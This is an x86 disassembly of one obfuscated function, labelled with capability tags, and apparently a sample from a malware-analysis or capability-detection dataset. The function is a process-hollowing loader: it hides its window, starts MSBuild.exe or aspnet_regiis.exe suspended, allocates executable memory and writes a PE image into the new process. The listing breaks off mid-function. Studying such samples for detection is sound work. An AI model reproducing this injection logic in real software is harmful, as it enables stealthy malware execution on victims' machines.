Function at 0x10007990
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14c
mov eax, dword [0x1006f204]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x154], 0x333f0629
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x158], eax
sub eax, 0x812f138f
je 0x1000dbcd
jmp 0x100079cc
mov eax, dword [ebp - 0x158]
sub eax, 0x8204dff1
je 0x1000e270
jmp 0x100079e2
mov eax, dword [ebp - 0x158]
sub eax, 0x820fd21b
je 0x1000b54f
jmp 0x100079f8
mov eax, dword [ebp - 0x158]
sub eax, 0x828cde27
je 0x1000b346
jmp 0x10007a0e
mov eax, dword [ebp - 0x158]
sub eax, 0x83632d4c
je 0x1000aa0c
jmp 0x10007a24
mov eax, dword [ebp - 0x158]
sub eax, 0x83ee465c
je 0x1000b8a5
jmp 0x10007a3a
mov eax, dword [ebp - 0x158]
sub eax, 0x87c0ebfa
je 0x1000c5c3
jmp 0x10007a50
mov eax, dword [ebp - 0x158]
sub eax, 0x89888aaa
je 0x1000aef4
jmp 0x10007a66
mov eax, dword [ebp - 0x158]
sub eax, 0x8a387cb9
je 0x1000d2d8
jmp 0x10007a7c
mov eax, dword [ebp - 0x158]
sub eax, 0x8b30386e
je 0x1000dfaf
jmp 0x10007a92
mov eax, dword [ebp - 0x158]
sub eax, 0x8b349eb6
je 0x1000af96
jmp 0x10007aa8
mov eax, dword [ebp - 0x158]
sub eax, 0x8bb6ff39
je 0x1000d291
jmp 0x10007abe
mov eax, dword [ebp - 0x158]
sub eax, 0x8d17a268
je 0x1000d71b
jmp 0x10007ad4
mov eax, dword [ebp - 0x158]
sub eax, 0x8ea17bc9
je 0x1000a32c
jmp 0x10007aea
mov eax, dword [ebp - 0x158]
sub eax, 0x8fb03255
je 0x1000db75
jmp 0x10007b00
mov eax, dword [ebp - 0x158]
sub eax, 0x8fcb7e23
je 0x1000da94
jmp 0x10007b16
mov eax, dword [ebp - 0x158]
sub eax, 0x902a65b8
je 0x1000cfbc
jmp 0x10007b2c
mov eax, dword [ebp - 0x158]
sub eax, 0x91894888
je 0x1000e155
jmp 0x10007b42
mov eax, dword [ebp - 0x158]
sub eax, 0x921e769e
je 0x1000a805
jmp 0x10007b58
mov eax, dword [ebp - 0x158]
sub eax, 0x92262f10
je 0x1000e2f6
jmp 0x10007b6e
mov eax, dword [ebp - 0x158]
sub eax, 0x92b8d958
je 0x10009668
jmp 0x10007b84
mov eax, dword [ebp - 0x158]
sub eax, 0x94b9e39d
je 0x1000d706
jmp 0x10007b9a
mov eax, dword [ebp - 0x158]
sub eax, 0x95fe85e8
je 0x1000b4fe
jmp 0x10007bb0
mov eax, dword [ebp - 0x158]
sub eax, 0x97709114
je 0x1000d3ff
jmp 0x10007bc6
mov eax, dword [ebp - 0x158]
sub eax, 0x9949df23
je 0x1000c39a
jmp 0x10007bdc
mov eax, dword [ebp - 0x158]
sub eax, 0x99fbd9a6
je 0x1000ddab
jmp 0x10007bf2
mov eax, dword [ebp - 0x158]
sub eax, 0x9a807685
je 0x1000a267
jmp 0x10007c08
mov eax, dword [ebp - 0x158]
sub eax, 0x9b46bfa0
je 0x1000cb70
jmp 0x10007c1e
mov eax, dword [ebp - 0x158]
sub eax, 0x9b5b1154
je 0x1000abc7
jmp 0x10007c34
mov eax, dword [ebp - 0x158]
sub eax, 0x9bcb68d7
je 0x1000c15a
jmp 0x10007c4a
mov eax, dword [ebp - 0x158]
sub eax, 0x9c6d4b22
je 0x1000bc67
jmp 0x10007c60
mov eax, dword [ebp - 0x158]
sub eax, 0x9fc94c25
je 0x1000d8ed
jmp 0x10007c76
mov eax, dword [ebp - 0x158]
sub eax, 0xa04f84ea
je 0x1000cccf
jmp 0x10007c8c
mov eax, dword [ebp - 0x158]
sub eax, 0xa0b7d17f
je 0x1000dd2f
jmp 0x10007ca2
mov eax, dword [ebp - 0x158]
sub eax, 0xa18b9fc7
je 0x1000b743
jmp 0x10007cb8
mov eax, dword [ebp - 0x158]
sub eax, 0xa1af973b
je 0x1000ba39
jmp 0x10007cce
mov eax, dword [ebp - 0x158]
sub eax, 0xa381b795
je 0x1000be3d
jmp 0x10007ce4
mov eax, dword [ebp - 0x158]
sub eax, 0xa39bfd85
je 0x10009f99
jmp 0x10007cfa
mov eax, dword [ebp - 0x158]
sub eax, 0xa3a4e9ce
je 0x1000a4f5
jmp 0x10007d10
mov eax, dword [ebp - 0x158]
sub eax, 0xa44b3ade
je 0x10009d1a
jmp 0x10007d26
mov eax, dword [ebp - 0x158]
sub eax, 0xa7af7d6a
je 0x1000adcf
jmp 0x10007d3c
mov eax, dword [ebp - 0x158]
sub eax, 0xa7f41bb1
je 0x10009872
jmp 0x10007d52
mov eax, dword [ebp - 0x158]
sub eax, 0xa81bdcd2
je 0x1000a737
jmp 0x10007d68
mov eax, dword [ebp - 0x158]
sub eax, 0xa8b8ad3c
je 0x10009930
jmp 0x10007d7e
mov eax, dword [ebp - 0x158]
sub eax, 0xa8d5545a
je 0x1000c53e
jmp 0x10007d94
mov eax, dword [ebp - 0x158]
sub eax, 0xa94a8535
je 0x1000d34e
jmp 0x10007daa
mov eax, dword [ebp - 0x158]
sub eax, 0xa98c710f
je 0x1000bad9
jmp 0x10007dc0
mov eax, dword [ebp - 0x158]
sub eax, 0xa9b527ed
je 0x1000e4ef
jmp 0x10007dd6
mov eax, dword [ebp - 0x158]
sub eax, 0xaad463eb
je 0x1000956d
jmp 0x10007dec
mov eax, dword [ebp - 0x158]
sub eax, 0xab24c49c
je 0x1000e42a
jmp 0x10007e02
mov eax, dword [ebp - 0x158]
sub eax, 0xaba593e0
je 0x1000cd45
jmp 0x10007e18
mov eax, dword [ebp - 0x158]
sub eax, 0xac366ead
je 0x1000bc85
jmp 0x10007e2e
mov eax, dword [ebp - 0x158]
sub eax, 0xac427eea
je 0x1000d77e
jmp 0x10007e44
mov eax, dword [ebp - 0x158]
sub eax, 0xad485d0e
je 0x1000c643
jmp 0x10007e5a
mov eax, dword [ebp - 0x158]
sub eax, 0xadd020c9
je 0x1000e038
jmp 0x10007e70
mov eax, dword [ebp - 0x158]
sub eax, 0xaeca9fbd
je 0x1000c5e9
jmp 0x10007e86
mov eax, dword [ebp - 0x158]
sub eax, 0xb02e5d07
je 0x1000dfdc
jmp 0x10007e9c
mov eax, dword [ebp - 0x158]
sub eax, 0xb3053a0f
je 0x1000d7a8
jmp 0x10007eb2
mov eax, dword [ebp - 0x158]
sub eax, 0xb3858a18
je 0x1000d91e
jmp 0x10007ec8
mov eax, dword [ebp - 0x158]
sub eax, 0xb4158ed3
je 0x1000a2be
jmp 0x10007ede
mov eax, dword [ebp - 0x158]
sub eax, 0xb4c5986d
je 0x1000df2a
jmp 0x10007ef4
mov eax, dword [ebp - 0x158]
sub eax, 0xb66ef59a
je 0x1000a951
jmp 0x10007f0a
mov eax, dword [ebp - 0x158]
sub eax, 0xb68bc5a8
je 0x1000a0d6
jmp 0x10007f20
mov eax, dword [ebp - 0x158]
sub eax, 0xb6ca1a5c
je 0x1000a9bb
jmp 0x10007f36
mov eax, dword [ebp - 0x158]
sub eax, 0xb723e17c
je 0x1000de0b
mov dword [ebp - 0x154], 0x67def17b
jmp 0x1000e53b
mov eax, dword [0x10070488]
mov ecx, dword [0x10070484]
mov edx, eax
sub edx, 0x9a217342
sub edx, 1
add edx, 0x9a217342
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbb5407f2
mov ecx, 0xce7c0a6a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001590
add esp, 4
lea eax, [0x1001a1d1]
sub esp, 4
mov dword [esp], eax
call fcn.10001590
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4f200
call fcn.10001030
add esp, 8
lea eax, section..data
mov dword [ebp - 0x150], eax
mov ecx, dword [ebp - 0x150]
mov eax, dword [ebp - 0x14c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
movzx edx, word [eax]
mov eax, 0xbe348c94
mov ecx, 0xa8b8ad3c
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov eax, dword [0x10070488]
mov ecx, dword [0x10070484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb02e5d07
mov ecx, 0x379bb8b9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x154], 0x678cb7f9
jmp 0x1000e53b
mov ecx, dword [0x10070488]
mov eax, dword [0x10070484]
mov edx, ecx
sub edx, 0x47082c2b
sub edx, 1
add edx, 0x47082c2b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe54240ae
mov ecx, 0x4c364290
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov eax, dword [ebp - 0x134]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0x138]
mov al, byte [eax]
and al, 1
mov byte [ebp - 0xba], al
mov ecx, dword [0x10070488]
mov eax, dword [0x10070484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4ed6a254
mov ecx, 0x797456b1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov eax, dword [ebp - 0x134]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov eax, dword [0x10070488]
mov ecx, dword [0x10070484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xadd020c9
mov ecx, 0xb4158ed3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov ecx, dword [0x10070488]
mov eax, dword [0x10070484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3063eb46
mov ecx, 0x8ea17bc9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov eax, dword [0x10070488]
mov ecx, dword [0x10070484]
mov edx, eax
sub edx, 0xb86515c1
sub edx, 1
add edx, 0xb86515c1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdd603416
mov ecx, 0x2ea9cf95
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov eax, dword [ebp - 0x134]
mov edx, dword [eax]
mov eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 0x13c]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xb9], al
mov dword [ebp - 0x154], 0x7022f8c3
jmp 0x1000e53b
mov eax, dword [ebp - 0xb4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xb8]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
mov edx, eax
mov eax, 0x8bb6ff39
mov ecx, 0xff2657ee
cmp edx, 0
cmovge eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov ecx, dword [0x10070488]
mov eax, dword [0x10070484]
mov edx, ecx
add edx, 0xc9150390
sub edx, 1
sub edx, 0xc9150390
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xeee977ae
mov ecx, 0xf1629d16
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov eax, dword [0x10070488]
mov ecx, dword [0x10070484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb3053a0f
mov ecx, 0x134b9205
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov eax, dword [0x10070488]
mov ecx, dword [0x10070484]
mov edx, eax
add edx, 0x3e1c6c07
sub edx, 1
sub edx, 0x3e1c6c07
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdf9cc41a
mov ecx, 0x83632d4c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov eax, dword [ebp - 0x12c]
mov dword [eax], 0
mov eax, dword [ebp - 0x140]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x128]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov eax, dword [0x10070488]
mov ecx, dword [0x10070484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdf9cc41a
mov ecx, 0xcb51cea9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ebp - 0xa0]
mov esi, dword [ebp - 0x9c]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov ecx, dword [ebp - 0x150]
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x118]
mov dword [eax], 0
mov dword [ebp - 0x154], 0x280ca1b1
jmp 0x1000e53b
mov eax, dword [ebp - 0x118]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x88]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 0x8c]
sub edx, 0xcc5000ad
add edx, eax
add edx, 0xcc5000ad
mov eax, dword [ebp - 0x140]
mov esi, dword [eax]
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x90]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x154], 0x42ed0bb8
jmp 0x1000e53b
mov ecx, dword [ebp - 0x84]
add ecx, 0xcc1f216d
add ecx, 1
sub ecx, 0xcc1f216d
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov dword [ebp - 0x154], 0x280ca1b1
jmp 0x1000e53b
mov eax, dword [0x10070488]
mov ecx, dword [0x10070484]
mov edx, eax
sub edx, 0x5dcb0f7e
sub edx, 1
add edx, 0x5dcb0f7e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xce2ec4e0
mov ecx, 0x6d09d30
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x10c]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov ecx, dword [0x10070488]
mov eax, dword [0x10070484]
mov edx, ecx
add edx, 0xf6e35711
sub edx, 1
sub edx, 0xf6e35711
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4711b14f
mov ecx, 0xee43b3ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov eax, dword [0x10070488]
mov ecx, dword [0x10070484]
mov edx, eax
sub edx, 0x4c91f8e2
sub edx, 1
add edx, 0x4c91f8e2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd36baf20
mov ecx, 0x820fd21b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov eax, dword [ebp - 0x10c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x58]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x5c]
add ecx, eax
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov edx, dword [ebp - 0x11c]
mov edx, dword [edx]
mov esi, dword [ebp - 0x10c]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
sub eax, 0x1ee283d1
sub eax, edx
add eax, 0x1ee283d1
add ecx, eax
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [0x10070488]
mov ecx, dword [0x10070484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd36baf20
mov ecx, 0x61ad6a9d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov ecx, dword [0x10070488]
mov eax, dword [0x10070484]
mov edx, ecx
add edx, 0xc2929ce6
sub edx, 1
sub edx, 0xc2929ce6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7884224
mov ecx, 0x4fd4dcea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov ecx, dword [0x10070488]
mov eax, dword [0x10070484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe6875a5b
mov ecx, 0x5302cc07
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x148]
mov ecx, dword [ecx]
cmp eax, dword [ecx + 0x34]
setne al
and al, 1
mov byte [ebp - 0x52], al
mov ecx, dword [0x10070488]
mov eax, dword [0x10070484]
mov edx, ecx
add edx, 0xab42f1c9
sub edx, 1
sub edx, 0xab42f1c9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc491a8f0
mov ecx, 0x226d2629
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov eax, dword [0x10070488]
mov ecx, dword [0x10070484]
mov edx, eax
sub edx, 0x24335dab
sub edx, 1
add edx, 0x24335dab
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6494b755
mov ecx, 0x5cf0b52
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov dl, byte [ebp - 0x52]
mov eax, 0xe0b5049e
mov ecx, 0xac366ead
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov dword [ebp - 0x154], 0xeb97edb0
jmp 0x1000e53b
mov eax, dword [0x10070488]
mov ecx, dword [0x10070484]
mov edx, eax
add edx, 0x3b5d67fa
sub edx, 1
sub edx, 0x3b5d67fa
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x163f7b53
mov ecx, 0x5ff2eda4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov dl, byte [ebp - 0x45]
mov eax, 0x20718725
mov ecx, 0xc12a9b4b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov eax, dword [0x10070488]
mov ecx, dword [0x10070484]
mov edx, eax
sub edx, 0xd91caf3d
sub edx, 1
add edx, 0xd91caf3d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x92262f10
mov ecx, 0x20bfb6c6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov ecx, dword [0x10070488]
mov eax, dword [0x10070484]
mov edx, ecx
sub edx, 0xd8bf5024
sub edx, 1
add edx, 0xd8bf5024
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x32998162
mov ecx, 0xe876294e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov eax, dword [ebp - 0xf8]
mov ecx, dword [eax]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov dword [ebp - 0x154], 0xaeca9fbd
jmp 0x1000e53b
mov dword [ebp - 0x154], 0x745cea3e
jmp 0x1000e53b
mov ecx, dword [0x10070488]
mov eax, dword [0x10070484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1e13f5d7
mov ecx, 0x5057db8c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x1d], al
mov eax, dword [0x10070488]
mov ecx, dword [0x10070484]
mov edx, eax
sub edx, 0x474470c7
sub edx, 1
add edx, 0x474470c7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xef0c62d2
mov ecx, 0x34843b59
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov ecx, dword [0x10070488]
mov eax, dword [0x10070484]
mov edx, ecx
sub edx, 0x667e3488
sub edx, 1
add edx, 0x667e3488
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcc939997
mov ecx, 0xaba593e0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov eax, dword [0x10070488]
mov ecx, dword [0x10070484]
mov edx, eax
sub edx, 0x16831a0b
sub edx, 1
add edx, 0x16831a0b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcc939997
mov ecx, 0xd57880ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x148]
mov ecx, dword [ecx]
mov edx, dword [ecx + 0x28]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov ecx, dword [0x10070488]
mov eax, dword [0x10070484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
